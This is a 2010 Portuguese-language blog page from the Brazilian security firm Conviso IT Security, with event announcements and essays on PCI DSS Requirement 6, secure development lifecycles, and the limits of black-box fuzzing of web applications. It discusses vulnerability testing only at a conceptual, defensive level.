Meu nome é Marcos Álvares, faço parte do Conviso Security Labs e da equipe de consultoria da Conviso IT Security. Atuo profissionalmente na área de desenvolvimento aplicado a segurança da informação a aproximadamente 10 anos e sou mestrando em Engenharia da Computação pela Universidade de Pernambuco, onde pesquiso técnicas de modelagem e simulação baseadas em agentes cognitivos. Meu objetivo é usar minha pesquisa em I.A. como meio para solução de problemas *complexos* em segurança da informação. Em suma, tenho bastante interesse em segurança, I.A., desenvolvimento open source e degustação de cerveja gelada. Sintam-se a vontade em fazer contato para discutir sobre qualquer área acima mencionada ou trocar idéias sobre qualquer outro assunto de interesse mútuo: malvares at conviso dot com dot br

terça-feira, 21 de setembro de 2010

Participação na 19a Edição do CNASI



Curitiba, 21 de setembro de 2010


No dia 20/10/2010, nosso Gerente de Pesquisa e Desenvolvimento, Wagner Elias, estará participando da 19a Edição do Congresso Latinoamericano de Auditoria de TI, Segurança da Informação e Governança (CNASI) com o painel "Segurança não é apenas gestão: Os riscos de ter uma equipe técnica despreparada".

Sobre o CNASI


O objetivo do CNASI é contribuir e trazer conhecimento e informação para todos os profissionais envolvidos com as áreas de Gerenciamento de Riscos, Auditoria de TI, Segurança da Informação, Governança e Compliance, fundamentais para a conformidade e o alinhamento dos negócios nas empresas. É o maior evento de Segurança da Informação da América Latina, orientando o planejamento, a análise e a implementação da conformidade nas corporações.

Sobre a Conviso IT Security

Fundada por profissionais que atuam no mercado de Segurança da Informação desde 1997, a Conviso IT Security é uma empresa de serviços para segurança de redes de dados e aplicações, destacando-se pelo alto nível de especialização e capacidade de apresentar resultados adequados à realidade de nossos clientes, onde limitações comuns a uma operação de negócio são consideradas e utilizadas como premissas para a criação de soluções simples, racionais e eficazes.

segunda-feira, 20 de setembro de 2010

Presença no Rochester Security Summit 2010



Curitiba, 20 de setembro de 2010


No dia 20/10/2010, nosso Gerente de Operações, Eduardo V. C. Neves, estará participando do Rochester Security Summit 2010 apresentando a pesquisa "Threats from Economical Improvement", que está sendo desenvolvida pelo Conviso Security Labs como parte das atividades de análise de segurança de aplicações no mercado brasileiro.

Sobre o Rochester Security Summit


O Rochester Security Summit é um projeto conduzido por organizações, universidades e empresas durante o National Cyber Security Awareness Month, nos Estados Unidos. O evento existe desde 2006 e tem como foco apresentar assuntos relevantes no campo de IT Security que possam ser utilizados na educação para a proteção de dados e sistemas informatizados.

As entidades envolvidas no Summit incluem os capítulos locais da ISSA, ISACA e OWASP, além do Rochester Institute of Technology, University of Rochester Information Technology Office e Rochester Cyber Safety and Ethics Initiative, entre outros.

Sobre a Conviso IT Security


Fundada por profissionais que atuam no mercado de Segurança da Informação desde 1997, a Conviso IT Security é uma empresa de serviços para segurança de redes de dados e aplicações, destacando-se pelo alto nível de especialização e capacidade de apresentar resultados adequados à realidade de nossos clientes, onde limitações comuns a uma operação de negócio são consideradas e utilizadas como premissas para a criação de soluções simples, racionais e eficazes.

segunda-feira, 13 de setembro de 2010

Porque o Requisito 6 do PCI DSS pode ser mais um Snake Oil

Este artigo está também disponível para leitura on-line no Scribd.

por Eduardo V. C. Neves | Operações

Nas próximas semanas o PCI Council irá promover uma revisão no PCI Data Security Standard (PCI DSS), buscando esclarecer pontos que causam confusão na implementação do padrão pelas empresas. É uma iniciativa louvável e que mostra o comprometimento deste padrão em buscar o estabelecimento de um nível de segurança adequado nas empresas, porém a interpretação errada pode levar mais uma vez as empresas a uma falsa sensação de segurança ao estarem aderentes ao padrão. Este artigo aborda como o Requerimento 6 pode ser plenamente atendido com o desenvolvimento e a implementação de um Secure Development Lifecycle nas empresas, reduzindo de forma significativa a probabilidade de não-aderência ao padrão e estabelecendo um nível de proteção real e eficiente para as aplicações utilizadas no trato dos dados do portador do cartão.

Snake Oil e Aderência a um Padrão


Em 2008 eu publiquei um artigo intitulado “Entendendo o PCI: Porque os padrões promovidos pelo PCI Council são bem mais que um simples snake oil”. A minha opinião não mudou nem um pouco nestes dois anos, ainda acho que o PCI DSS e os padrões relacionados pode ser uma revolução ao levar a segurança técnica para empresas que nem sabiam o que era antes da obrigação.

Porém, como qualquer padrão, ele está sujeito à forma como as pessoas o interpretam, sejam elas as obrigadas a implementar os controles ou as que o auditam. O ainda impressionante caso da Heartland Payment Systems deixou claro para os mais céticos que tamanho corporativo e imensos investimentos em segurança não são suficientes para evitar o comprometimento de dados privados. O que tenho escutado de algumas pessoas é uma interpretação equivocada do Requerimento 6, onde a aderência está fundamentada em testar as aplicações desenvolvidas em busca das vulnerabilidades listadas no OWASP Top 10 e ajustar estas para ter um software seguro.

O OWASP Top 10 é uma lista muito bem construída e constantemente atualizada que apresenta as dez vulnerabilidades mais comuns em aplicações web, o que pode acontecer em sua exploração e como evitar que ocorram. Só isso, e como não é um padrão, acho incoerente afirmar que está “aderente”. Além do mais, esta lista é somente um dos requisitos solicitados pelo PCI DSS, não sendo exaustivo e devendo ser considerado parte do processo, como o próprio texto do padrão informa em “6.3. Desenvolver aplicativos de software de acordo com o PCI DSS (por exemplo, autenticação segura e registros) e com base nas melhores práticas do setor, além de incorporar a segurança das informações em todo o ciclo de vida do desenvolvimento dos softwares. “

Limitar a segurança das aplicações ao que está recomendado no OWASP Top 10 é um snake oil tremendo que possivelmente irá satisfazer os auditores e deixar a empresa completamente exposta com vulnerabilidades tão sérias quando um Cross Site Scripting. O OWASP Top 10 lista problemas mais comuns, e não todos os problemas. Falhas de lógica que são exclusivas em aplicações específicas não aparecem por motivos óbvios e podem ser extremamente danosas. Quando existe uma sensação de segurança, as pessoas tendem a naturalmente baixar a guarda por acharem que o problema está resolvido, focando os esforços em outros pontos de atenção. Se isso ocorre com uma “aderência” ao OWASP Top 10, mais um problema é criado.

As alterações propostas pelo PCI Council


O que o PCI Council busca com as alterações propostas, é estabelecer uma abordagem mais compreensiva para as empresas uma vez que as próprias recomendações atuais do Padrão muitas vezes são confusas para profissionais que não trabalham com IT Security, ou até mesmo para pessoas experientes. Em especial, duas alterações afetam diretamente o Requisito 6 e serão alteradas para esclarecer como as empresas devem tratar os seguintes pontos:

  • Evoluir o Requerimento 6.2 para que seja possível criar um ranking de vulnerabilidades de acordo com seu risco de exploração, o que possivelmente será concluído com a recomendação de um processo de tratamento a médio prazo.

  • Esclarecer o Requerimento 6.5 para eliminar redundâncias no que é solicitado no ponto 6.3.1 e ainda incluir novos padrões de mercado como recomendação, além do OWASP Top 10.


O Requerimento 6.2


Eu insisto na abordagem que estabelecer um nível risco para uma vulnerabilidade é algo extremamente complexo e depende de interações que só podem ser alcançadas em um processo de Risk Assessment, algo que empresas que querem gastar cada vez menos com o PCI DSS e simplesmente alcançar a certificação, dificilmente irão investir. Porém, ao substituir o termo “risco” por impacto total, derivado do que pode acontecer na exploração de uma vulnerabilidade e a probabilidade de ocorrência, baseada no seu conhecimento e existência de formas de automação, faz sentido sim. Mas ainda com essa consideração, o que fazer no caso de efetivação de uma ameaça de baixo impacto total que possa causar um estrago inesperado?

Para ilustrar este cenário, tomo como exemplo um dos projetos que fizemos para identificar vulnerabilidades em aplicações web. De todas as vulnerabilidades que identificamos, duas eram consideradas de baixo impacto total, mas se ambas fossem exploradas de forma simultânea, o resultado poderia levar a empresa a pagar uma multa considerável para um de seus parceiros comerciais. Esta informação não era de conhecimento do nosso cliente, e foi obtida graças ao fato de um dos membros de nossa equipe ter trabalhado na mesma indústria e passado por um cenário similar no passado. Como fica o ranking de vulnerabilidades neste caso?

Indo um pouco além, existe uma enorme probabilidade das empresas desconsiderarem fatores totalmente relevantes para a forma como uma vulnerabilidade pode ser explorada:

  • Falhas na camada de arquitetura que podem ser ignoradas ou mesmo não existir durante a elaboração do ranking, tal como o posicionamento de um banco de dados no lugar errado.

  • Problemas na camada de rede de dados que também não são considerados, como falhas na implementação de HTTPS ou falhas correlatas como a persistente inexistência da flag SECURE nos cookies utilizados.


A idéia é muito boa, mas tenho receio de que a prática comum será simplesmente criar um ranking de vulnerabilidades que serão tratadas de forma isolada, o que volta na falsa sensação de segurança que abordei no começo deste artigo.

O Requerimento 6.5


Na versão atual do padrão, os Requisitos 6.3.1 e 6.5 tem textos e objetivos similares, ambos exigem que as aplicações sejam desenvolvidas seguindo critérios mínimos de segurança. Enquanto o 6.3.1 estabelece o processo de desenvolvimento seguro evitando vulnerabilidades conhecidas e indo além ao abordar processos (ex. Separação de funções), o 6.5 indica o OWASP como fonte de recursos através de um nome genérico: “Open Web Application Security Project Guide”.

Colocar estes conteúdos em um só requerimento é uma excelente idéia, porém eu iria um pouco além para aproveitar a ocasião e esclarecer pontos que são óbvios para quem conhece o processo de desenvolvimento seguro, mas não tem sido seguidos pelas pessoas que respondem pela adequação ao PCI DSS na maioria dos casos que conheço.

  • Testar as alterações que ocorrem em uma aplicação, incluindo uso de patches é correto, mas o texto é muito confuso tanto em inglês quando em português: “6.3.1. Teste de todos os patches de segurança e alterações de configuração no sistema e no software antes da implementação”. Esclarecer este ponto é fundamental, uma vez que leva as pessoas a entenderem que o cerne da questão são patches, e não alterações como um todo.

  • Deixar claro que o OWASP Top 10 é apenas uma das várias referências e não deve ser um limitador. Quando o texto aborda “... com base nas diretrizes de codificação seguras, como o Guia do projeto de segurança do aplicativo aberto da Web.” abre demais o assunto e confunde qualquer um que não tenha experiência em IT Security. A propósito, o OWASP mantém um número enorme de guias de suporte para desenvolvimento seguro, não seria muito mais assertivo dar o nome do que é recomendado?


Indo além neste requerimento, o que fazer com as aplicações legadas que estão vulneráveis e vão demorar um bom tempo para entrarem no circuito de desenvolvimento seguro, se este efetivamente for criado da forma correta? Sem dúvida existe o Requerimento 6.6 que recomenda o uso de um Web Application Firewall (WAF), mas um WAF não protege aplicações de falhas de lógica e para ser efetivo depende de uma administração que inclui tunning de suas funções. Novamente, manter requerimentos isolados é um risco que irá gerar uma grande carga de trabalho e investimentos contínuos das empresas sem que exista uma real elevação do nível de segurança das aplicações utilizadas. É necessário pensar de forma integrada.

Uma abordagem mais eficiente


Para obter uma aplicação do PCI DSS sem que este seja mais um snake oil é necessário olhar o padrão como um todo e estabelecer critérios que façam sentido para a empresa. No caso da manutenção de aplicações seguras, recomendo um abordagem que inclua o uso de três funções conjuntas: a proteção para o legado de aplicações, um ciclo de desenvolvimento seguro e a capacitação adequada das empresas e seus técnicos para garantir a evolução do conhecimento em segurança, e a conseqüente melhoria do nível de segurança.

Tratando o legado de aplicações


Administrar um legado é sempre um desafio para qualquer empresa, são computadores antigos que não suportam atualizações, softwares que não funcionam com os requisitos atuais mas não podem ser trocados por estarem integrados com outros sistemas e aplicações que precisam ser tratadas para adequar a segurança, e isso nem sempre depende somente da empresa. Em comum, existem aspectos operacionais que não estão escritos no PCI DSS e em nenhum outro padrão, mas fazem parte do dia-a-dia da maioria das empresas e devem ser considerados como pontos de criação de um processo que funcione.

  • Aplicações legadas em áreas de negócio podem ter sido negociadas diretamente com o fabricante sem o envolvimento de TI. Como resultado, elas ficam “escondidas” no parque de produtos da empresa, e devem ser buscadas uma a uma para adequação.

  • Aplicações legadas podem ter funções em sua construção que impeçam alterações para adequação de segurança. Falta de acesso ao código-fonte e necessidade de operação sob um usuário administrator são dois pontos comuns e que necessitam de tratamento especial.

  • Aplicações legadas podem suportar processos críticos do negócio, e sua interrupção depende de muito planejamento e negociação com as áreas envolvidas. É impraticável pensar que será possível testar e adequar a segurança dentro de um cronograma feito somente por TI.

  • O volume de aplicações legadas, pode levar a uma necessidade de investimento nos testes de segurança que nunca será aprovado pelos responsáveis. Em um de nossos clientes, já trabalhamos com 80 aplicações com estas características que precisavam ser adequadas em 90 dias.


Para adequar a segurança deste legado de forma eficiente é fundamental estabelecer a abordagem de testes mais adequada para o volume e características únicas (ex. Tipo de linguagem utilizada) em cada cenário e desenvolver uma ação onde fique muito claro como o processo será feito e o que é esperado de cada área participante. Estratégias que funcionam e podem ser utilizadas em praticamente qualquer mercado estão baseadas nesta premissa.

Escolhendo o modelo de teste adequado


Existem, no mínimo, três formas de se buscar vulnerabilidades em aplicações: security scan, penetration test e code review. As diferenças entre elas podem ser resumidas no gráfico abaixo, onde o nível de esforço e qualidade dos resultados estão diretamente relacionados.



  • Security Scan: Identifica vulnerabilidades comuns (ex. Cross Site Scripting e SQL Injection), porém não cobre falhas de lógica e violações de confiança na aplicação. É uma abordagem onde deve-se esperar somente uma visão geral das vulnerabilidades.

  • Penetration Test: Feito da forma correta, envolve o security scan e uma série de testes manuais para validação de resultados obtidos por ferramentas e identificação de vulnerabilidades lógicas na interação entre os componentes (ex. Servidores Web).

  • Code Review: Como envolve a análise do código e a forma como a aplicação se comporta em modo de execução, é um teste completo que permite identificar vulnerabilidades e ainda modelar as ameaças relacionadas.


Usar somente uma destas abordagens para testar o nível de segurança de aplicações é uma opção que não recomendo, se você quiser preservar o seu investimento e ter uma administração de segurança que consiga equilibrar os recursos disponíveis com a obtenção de um nível de proteção adequado. Desenhar uma abordagem que obtenha o melhor de cada modelo de teste é fundamental para garantir uma velocidade aceitável na obtenção de resultados e criar um ranking de quais aplicações devem ser adequadas no começo da fila de forma correta.

Uma das formas que usamos com sucesso nos últimos anos é simples e funciona muito bem:

  • As aplicações são todas submetidas a um security scan, onde os resultados mostram quais estão com a maior quantidade de vulnerabilidades simples. Este resultado é discutido com o cliente para que ele defina - com o nosso apoio - onde iremos aprofundar os testes.

  • Penetration Tests e Code Review são utilizados em conjunto, de acordo com as características da aplicação, como nos casos não é possível obter acesso ao código fonte ou não existe tempo hábil para testes mais profundos.


Com os resultados em mãos, é possível apresentar três resultados que permitem adequar o nível de segurança imediatamente e em ações futuras, onde os erros são eliminados e a camada de proteção das aplicações adequada.

  • Vulnerabilidades de simples resolução - em boa parte dos casos - podem ser imediatamente resolvidas e muitas vezes a aplicação da recomendação de melhoria elimina uma grande quantidade de pontos identificados, como gerar processos de validação de dados que eliminam um Cross Site Scripting.

  • Aplicações desenvolvidas internamente quase sempre apresentam erros similares que denotam o tipo de capacitação necessária para o time de desenvolvimento. Com este dado em mãos, é previsto um treinamento adequado que, aos poucos, permite a criação de aplicações mais seguras.

  • Aplicações adquiridas externamente - onde o código fonte quase nunca está disponível - tem suas falhas identificadas, e este resultado pode ser utilizado como massa de manobra para negociação com os fornecedores através de cláusulas contratuais e adoção de responsabilidade compartilhada.


Este primeiro passo trata do legado de aplicações e estabelece um nível mínimo de segurança que permite basear a adoção de um processo de desenvolvimento seguro na empresa. Porém, existe um ponto que é comum a maioria dos negócios e que já foi citado neste artigo: o que fazer com as aplicações suja correção não pode ser feita até um determinado momento temporal?

A proteção das aplicações de missão crítica


Missão crítica é um termo que pode ser aplicado de diversas formas e acaba muitas vezes caindo no jargão de frases de efeito. Neste caso, vamos considerar que as aplicações de missão crítica são as que não podem ser interrompidas até um determinado momento, independente se o motivo é o suporte direto a um processo de negócio (ex. Um carrinho de compras para um e-commerce) ou uma impossibilidade operacional (ex. Dependência de um componente compartilhado com outros produtos).

A questão é que a aplicação não pode ser interrompida para que as vulnerabilidades identificadas sejam tratadas, e é necessário impedir que ela seja atacada. Neste ponto é onde identificamos a função de um Web Application Firewall (WAF) que irá permitir o funcionamento do componente sem que ataques a estas falhas sejam efetivados. Note que para um WAF resultar em uma proteção eficiente, não basta colocar uma caixa no data center e esperar que ele aja sozinho, é necessário um mínimo de interação com o produto e a administração de pelo menos duas funções:

  • O tunning inicial do produto depende do comportamento das aplicações que estão sendo protegidas. O conjunto de regras que vem de fábrica com o WAF tem que ser entendido e utilizado para cada componente sob sua guarda, uma vez que elas são padronizadas exatamente por estarem sob esta premissa.

  • O virtual patching, que nada mais é do que criar ou adequar uma regra no WAF para proteger a aplicação de uma ou mais falhas, deve ser criado de acordo com cada situação. Claro que para uma grande maioria dos casos, o uso de um template fornecido no produto basta, porém são as exceções que devem ser olhadas mais de perto.


E ainda que já tenha sido citado, lembre-se que um WAF tem funções de proteção específicas e nunca deve ser considerado um substituto para testes de segurança e os processos de correção resultantes. O WAF é um guardião que provê um bom nível de proteção para as suas aplicações enquanto elas são adequadas em novos releases.

A adequação através de um SDL


A adoção de um Secure Development Lifecycle (SDL) é a base da proposta de abordagem mais eficiente descrita neste artigo, e é neste momento em que ele tem o seu papel definido. Existem diversas metodologias disponíveis na Internet e muito bem estruturadas, em comum elas apresentam ciclos que devem ser adotados de acordo com o tamanho da empresa, quantidade de esforço alocado e capacitação da equipe responsável.

Uma vez estabelecido, o SDL deve ser utilizado para adequar o nível de segurança das aplicações componentes do legado que foram testadas, evitar a ocorrência de novas vulnerabilidades pela inserção dos controles que permeiam o processo e ainda para uma função que fecha a proposta de abordagem apresentada.

Capacitação contínua e abrangente


As características do processo de desenvolvimento que geram vulnerabilidades nas aplicações, dependem muito do nível de capacitação da equipe técnica não só em como um SDL funciona, mas ainda em competências específicas de desenvolvimento seguro. Existem abordagens gerais, que permitem eliminar boa parte das falhas oriundas da falta de tratamento de dados, ainda abordagens específicas que tratam da forma como os códigos são escritos.

Porém, de nada adianta se o treinamento não for direcionado e abrangente. O direcionamento, se dá através da identificação das causas que geraram as vulnerabilidades - um dos resultados colaterais dos testes realizados - e adequação do treinamento para garantir a capacitação da equipe em competências que estejam direcionadas ao que eles fazem, ao invés de um tratamento geral que muitas vezes tem uma carga horária excessiva para a realidade destes profissionais e não chega nos pontos fundamentais para a empresa.

A abrangência se dá pela introdução do processo em todas as áreas da empresa envolvidas e pela administração de políticas que garantam a autoridade do SDL. Um lugar comum que deve ser evitado ao máximo é uma área de negócios exigir a publicação de uma determinada aplicação sem que ela passe pelo tratamento adequado, invocando o “engessamento do processo” e o “impacto nos negócios causado por TI” como causas.

É óbvio que nesta situação, a causa é da falta de planejamento da área de negócios, que não soube adequar a sua forma de trabalho com as regras da empresa. Porém, para que isso não se torne uma exceção que vire regra e realmente funcione, as pessoas destas áreas tem que ser capacitadas em como as regras funcionam. Esperar que o processo seja criado e todos o conheçam é inocente demais, mas é uma das formas como vejo as coisas acontecerem em muitos lugares.

Conclusão


Uma justificativa financeira


O PCI DSS é um padrão que exige o desenvolvimento e manutenção de segurança nas aplicações, e as multas e conseqüências do seu não cumprimento certamente são os principais motivadores para a aderências das empresas. Porém, limitar o escopo ao fluxo dos dados do portador do cartão pode ser um erro com conseqüências que vão muito além de uma multa imposta por uma bandeira de cartão de crédito.

Valores que definem as perdas relacionadas a ataques bem sucedidos contra componentes informatizados utilizados por empresas e pessoas são apresentados em pesquisas que existem há mais de duas décadas e não só serviram para as empresas definirem suas estratégias de proteção, como ainda basearam a criação de outros controles de mercado como a Seção 404 da SOX e o HIPAA. Porém, quando as falhas atingem aplicações corporativas - com suas versões web inclusas - o cenário deve ser considerado de forma específica.

  • Uma pesquisa conduzida pelo Ponemon Institute apontou que, apesar da maior preocupação ser o furto de dados corporativos através de falhas em aplicações web, 70% dos entrevistados afirmaram que suas empresas não alocam recursos suficientes para proteger estes componentes, e que 34% das vulnerabilidades críticas não são corrigidas.

  • O Gartner Group afirma que 75% das falhas de segurança exploradas com sucesso estão em aplicações e o National Institute of Standards and Technology (NIST) estima este percentual em 92%, tomando como base os resultados de órgãos do Governo dos E.U.A.


No Brasil não existem ainda pesquisas sobre o tema com amplitude suficiente para especificar o cenário em todo o mercado. Porém, desenvolvemos uma quantidade considerável de projetos nesta área desde 2008 em empresas de grande e médio porte e os resultados não diferem da realidade apresentada nas pesquisas citadas.

Se tomarmos como base para uma projeção racional na realidade do nosso País, a estimativa de movimentação superior a R$ 14 bilhões no comércio eletrônico para 2010, mostra o valor dos prejuízos que as empresas podem sofrer com ataques bem sucedidos às aplicações web que suportam este tipo de processo de venda. Porém, existem custos ocultos que nem sempre são percebidos quando existe uma análise de falhas em aplicações.

  • Aplicações que permitam aos clientes de uma empresa serem lesados pela exploração de uma falha podem gerar processos legais com base no Código Civil, sendo que já existe jurisprudência sobre o assunto.

  • Falhas em aplicações que permitam a inserção de malware e posterior contaminação de usuários, além de poderem ser utilizados para processos dos lesados, geram um grande impacto negativo na mídia como ocorrido em 2009 com uma série de web sites brasileiros.


Considere que, além do crescimento anual de 35% no acesso da população à Internet, as redes sociais hoje movimentam 62% do tráfego da Internet brasileira e a exposição de uma vulnerabilidade nestes canais, assim como a opinião do público-alvo de qualquer empresa, estão totalmente capilarizadas e com alta velocidade de proliferação. Pense além do PCI DSS, limitar o escopo e buscar o máximo de controles com o mínimo de investimentos em uma porção do seu Ambiente Informatizado é arriscado e não permite o uso de uma grande oportunidade para estabelecer um processo de segurança que atenda a todas as aplicações, resultando em aspectos financeiros positivos para toda a empresa.

Metodologia é somente a base para um processo operacional


Implementar controles de segurança adequados no processo de desenvolvimento de software, proporciona a garantia de que as funções esperadas para os produtos serão atendidas com a redução dos riscos na exploração de vulnerabilidades para níveis realmente aceitáveis. Porém implementar estas medidas pode ser um processo impossível de ser concluído, caso a abordagem não seja estabelecida para atender à realidade da empresa e aceitar a evolução natural do nível de maturidade estabelecido.

As metodologias citadas neste artigo como base para um SDL são similares ao proporem um processo estruturado de inserir práticas de segurança no processo de desenvolvimento de software. Excelentes em suas propostas, porém freqüentemente implementadas de forma equivocada no Brasil e injustamente definidas como panacéias por não atenderem a premissas que quase nunca foram bem estabelecidas.

O problema é que elas mostram como implementar as práticas de segurança em um nível de maturidade crescente, mas não como enfrentar características comuns das empresas brasileiras tais como o desconhecimento técnico da equipe em práticas de segurança, a necessidade de usar a mesma mão-de-obra para práticas diferentes (e muitas vezes antagônicas, como segurança e performance), e a prática comum de colocar em produção aplicações que atendam objetivos de negócio imediatos, ainda que sejam vulneráveis.

Use as metodologias como base, pense em como a sua empresa funciona e equilibre estes aspectos. O PCI DSS tem sido um problema em muitas implementações pela inexistência de uma análise criteriosa de como criar controles amplos e que não só atendam os requerimentos, como ainda ampliem o nível de segurança como um todo. Apesar de parecer um aumento desnecessário de investimento, esta opção permite que a empresa realmente atinja um bom nível de segurança, aderindo ao PCI DSS como conseqüência das práticas que permitem a gestão em Segurança da Informação.

Não deixe o PCI DSS ser um snake oil na sua empresa, depende somente de como ele será interpretado e de conseguir usar as limitações deste padrão a seu favor. O Requerimento 6 pode ser a oportunidade ideal para que finalmente um SDL seja implementado, e todas as aplicações tenham as proteções adequadas, beneficiando não só a aderência ao padrão, mas a forma como os seus clientes fazem negócios com você. Eles irão perceber a diferença, é só uma questão de mais algum tempo.

Sobre o Autor


Eduardo Vianna de Camargo Neves trabalha com Segurança da Informação desde 1997, tendo atuado como auditor, consultor e Security Officer. É sócio-fundador e Gerente de Operações da Conviso IT Security, responsável pela administração e estratégia da empresa. Serve ainda como membro do Capítulo Brasil do OWASP, do OWASP Global Education Committee na América Latina e voluntário no (ISC)2.

sexta-feira, 10 de setembro de 2010

Participação no I ENAPI

Curitiba, 09 de setembro de 2010


No dia 27/10/2010, nosso Gerente de Pesquisa e Desenvolvimento, Wagner Elias, estará participando como panelista convidado para a "Definição de Parâmetros para o I Exercício Nacional de Proteção de Infraestruturas - I ENAPI". Representando o OWASP Capítulo Brasil, Wagner irá contribuir na definição dos parâmetros e requisitos para a realização, no Brasil, de um exercício nos moldes do CDX.

Sobre o OWASP


O Open Web Application Security Project (OWASP) é um projeto open source voltado para promover a Segurança de Aplicações no uso por empresas, entidades educacionais e pessoas em todo o mundo. Disponibilizando farto material de leitura para pessoas com diversos níveis de conhecimento, guias de Boas Práticas em processos de desenvolvimento e linguagens de programação e ferramentas de código livre para testes de segurança, o OWASP tornou-se em pouco tempo uma das referências mundiais quando o assunto é Segurança em Aplicações Web.

Sobre a Conviso IT Security


Fundada por profissionais que atuam no mercado de Segurança da Informação desde 1997, a Conviso IT Security é uma empresa de serviços para segurança de redes de dados e aplicações, destacando-se pelo alto nível de especialização e capacidade de apresentar resultados adequados à realidade de nossos clientes, onde limitações comuns a uma operação de negócio são consideradas e utilizadas como premissas para a criação de soluções simples, racionais e eficazes.

quarta-feira, 8 de setembro de 2010

Sobre as limitações do fuzzing black-box em Aplicações Web

Este artigo está também disponível para leitura on-line no Scribd.

por Gabriel Quadros | Conviso Security Labs


O fuzzing é um dos métodos mais usados para a descoberta de vulnerabilidades em aplicações, tendo como principais características sua eficiência e bom custo-benefício em relação à outros métodos. Apesar disso, os fuzzers geralmente têm dificuldades para encontrar vulnerabilidades que não estão localizadas na “superfície” da aplicação.

Atualmente existem vários fuzzers para aplicações Web, tanto comerciais quanto Open Source. Eles podem ser do tipo white-box, quando requerem acesso ao código fonte da aplicação para guiar o teste [3], ou black-box, quando o código fonte da aplicação não é utilizado [4-8]. Os fuzzers black-box para aplicações Web, além de sofrerem das mesmas limitações inerentes a qualquer um deste tipo, têm que lidar com um ambiente mais restrito que, entre outras coisas, não fornece acesso nem ao código nativo ou bytecode da aplicação.

Quando contratadas para realizar um teste de penetração em uma aplicação Web, dificilmente as empresas de segurança recebem o código fonte da aplicação que será testada. Isso mostra a importância do desenvolvimento de ferramentas para auxiliar na descoberta de vulnerabilidades em testes do tipo black-box.

Este artigo descreve algumas limitações do fuzzing black-box de aplicações Web e busca provocar uma reflexão sobre formas de melhorar esse tipo de teste.

Como funcionam as ferramentas que fazem esse tipo de fuzzing?


Os fuzzers black-box de aplicações Web operam sobre requisições HTTP. Cada elemento de uma requisição GET, POST, etc pode ser modificado na tentativa de descobrir alguma vulnerabilidade na aplicação-alvo [1]. A análise dos resultados é feita em cima das respostas retornadas pelo servidor, onde geralmente é usado um conjunto de expressões regulares para identificar a ocorrência de palavras-chave que caracterizam a vulnerabilidade sendo testada ou alguma função hash para comparar essas respostas.

Diferenças entre o fuzzing black-box de aplicações Web e Desktop


O fuzzing black-box de aplicações Web tem uma grande desvantagem em relação ao de aplicações Desktop, que é a impossibilidade de acesso ao código server-side da aplicação. Esse código nunca é disponibilizado para os usuários, exceto quando alguma vulnerabilidade descoberta na aplicação permite o download de qualquer arquivo do servidor. O acesso ao código da aplicação favoreceria a utilização de várias técnicas de teste de software, que vão da análise da cobertura do código obtida com a execução de um caso de teste, até algoritmos para a geração de casos de teste com maior probabilidade de detectar vulnerabilidades.

Já no fuzzing black-box de aplicações Desktop, é sempre possível analisar o código nativo ou bytecode do executável, o que permite uma conversão para o fuzzing white-box dada a capacidade de se realizar análises sobre esse tipo de código. Com isso, consegue-se aplicar várias técnicas para obter uma melhor cobertura do código da aplicação, como a Execução Simbólica, que têm sido bastante utilizada em pesquisas acadêmicas [11-13] e em algumas ferramentas comerciais ou Open Source [2].

Outra grande desvantagem está relacionada com a forma como os casos de teste bem-sucedidos são detectados. Nas aplicações Desktop, isso geralmente é feito com o monitoramento da aplicação-alvo por meio de depuradores para identificar a ocorrência de exceções, tais como violações de acesso ao ler ou escrever dados em uma certa posição na memória. Algumas ferramentas mais sofisticadas também são usadas, como o plugin !exploitable [9] do WinDBG e soluções que usam Taint Analysis para detectar se dados oriundos do usuário são usados nas instruções que causaram a exceção [10].

No fuzzing de aplicações Web, essa detecção é feita com base nas respostas para as requisições retornadas pelo servidor [1]. Os cabeçalhos HTTP, o conteúdo da resposta e até mesmo outros parâmetros como o tempo decorrido entre o envio da requisição e o recebimento da resposta são analisados na procura por indícios que revelem a presença de alguma vulnerabilidade.

Outra diferença é que a entrada que será enviada para a aplicação Web geralmente precisa trafegar pela Internet e isso aumenta o tempo necessário para se realizar o fuzzing. Já no fuzzing de aplicações Desktop, o teste é feito localmente, em geral.

Conclusões


Apesar do fuzzing ser uma técnica eficiente para a identificação de vulnerabilidades, não é difícil perceber que as técnicas utilizadas pela maioria das ferramentas hoje deixam passar uma grande quantidade de vulnerabilidades. Precisamos de ferramentas que tragam melhores resultados. Assim, a grande questão é: “Como melhorar as ferramentas existentes para o fuzzing black-box de aplicações Web?”

Levando em consideração os resultados das pesquisas acadêmicas e as ferramentas disponíveis para o público em geral, a resposta para essa pergunta pode não ser fácil. O que sabemos é que é preciso melhorar a forma como geramos os casos de teste e analisamos as respostas para as requisições.

Além disso, muito do que era feito com código server-side há algum tempo atrás, hoje está sendo feito através de código client-side como JavaScript e Flash. Essa mudança provocada pela Web 2.0 possibilita que, agora, uma parte significativa do código fonte total da aplicação esteja disponível para a execução de fuzzing white-box.

Sobre o Autor


Gabriel Quadros começou a estudar segurança da informação em 2003, com interesse principal em engenharia reversa, pesquisa de vulnerabilidades e desenvolvimento de exploits. Atualmente cursa o último ano do Bacharelado em Ciência da Computação na Universidade Estadual do Sudoeste da Bahia - UESB e atua na Conviso IT Security como pesquisador do Conviso Security Labs. Pode ser contatado pelo e-mail gquadros@conviso.com.br.

Referências



  1. Playing Web Fuzzing

  2. Fuzzgrind: an automatic fuzzing tool

  3. Tarantula: Easy Fuzz Testing for Rails Apps

  4. Webslayer

  5. RFuzz The Web Destroyer

  6. Powerfuzzer

  7. Burp Intruder

  8. SPIKE Proxy

  9. !exploitable Crash Analyzer

  10. Crash Analysis with BitBlaze

  11. Automated Whitebox Fuzz Testing

  12. Klee: Unassisted and Automatic Generation of High-Coverage Tests for Complex Systems Programs

  13. EXE: A System for Automatically Generating Inputs of Death Using Symbolic Execution

segunda-feira, 6 de setembro de 2010

Conviso IT Security patrocina a Conferência H2HC 2010

Curitiba, 06 de setembro de 2010


A Conviso IT Security confirmou o seu apoio na Conferência H2HC como Patrocinador Silver, demonstrando mais uma vez o seu compromisso em suportar o desenvolvimento das competências em segurança para redes de dados e aplicações no mercado brasileiro.

Sobre a H2HC


Hackers To Hackers Conference (H2HC) é uma conferência organizada por pessoas que trabalham ou que estão diretamente envolvidas com pesquisas e desenvolvimento na área de segurança da informação, cujo principal objetivo é permitir a disseminação, discussão e a troca de conhecimento sobre segurança da informação entre os participantes e também entre as empresas envolvidas no evento. Com treinamentos e palestras apresentadas por membros respeitados do mundo corporativo, grupos de pesquisas e comunidade underground, neste ano a conferência promete demonstrar técnicas que nunca foram vistas ou discutidas com o público anteriormente.

